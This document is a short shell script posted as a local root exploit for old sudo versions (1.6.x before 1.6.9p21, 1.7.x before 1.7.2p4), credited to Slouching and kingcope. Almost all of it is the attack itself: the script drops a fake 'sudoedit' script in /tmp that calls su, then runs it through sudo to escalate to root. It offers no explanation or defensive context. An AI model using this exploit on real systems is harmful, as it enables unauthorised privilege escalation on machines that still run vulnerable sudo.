Todd Miller sudoedit Root Exploit

`#!/bin/sh  
# Tod Miller Sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4  
# local root exploit  
# March 2010  
# automated by kingcope  
# Full Credits to Slouching  
echo Tod Miller Sudo local root exploit  
echo by Slouching  
echo automated by kingcope  
if [ $# != 1 ]  
then  
echo "usage: ./sudoxpl.sh <file you have permission to edit>"  
exit  
fi  
cd /tmp  
cat > sudoedit << _EOF  
#!/bin/sh  
echo ALEX-ALEX  
su  
/bin/su  
/usr/bin/su  
_EOF  
chmod a+x ./sudoedit  
sudo ./sudoedit $1  
  
`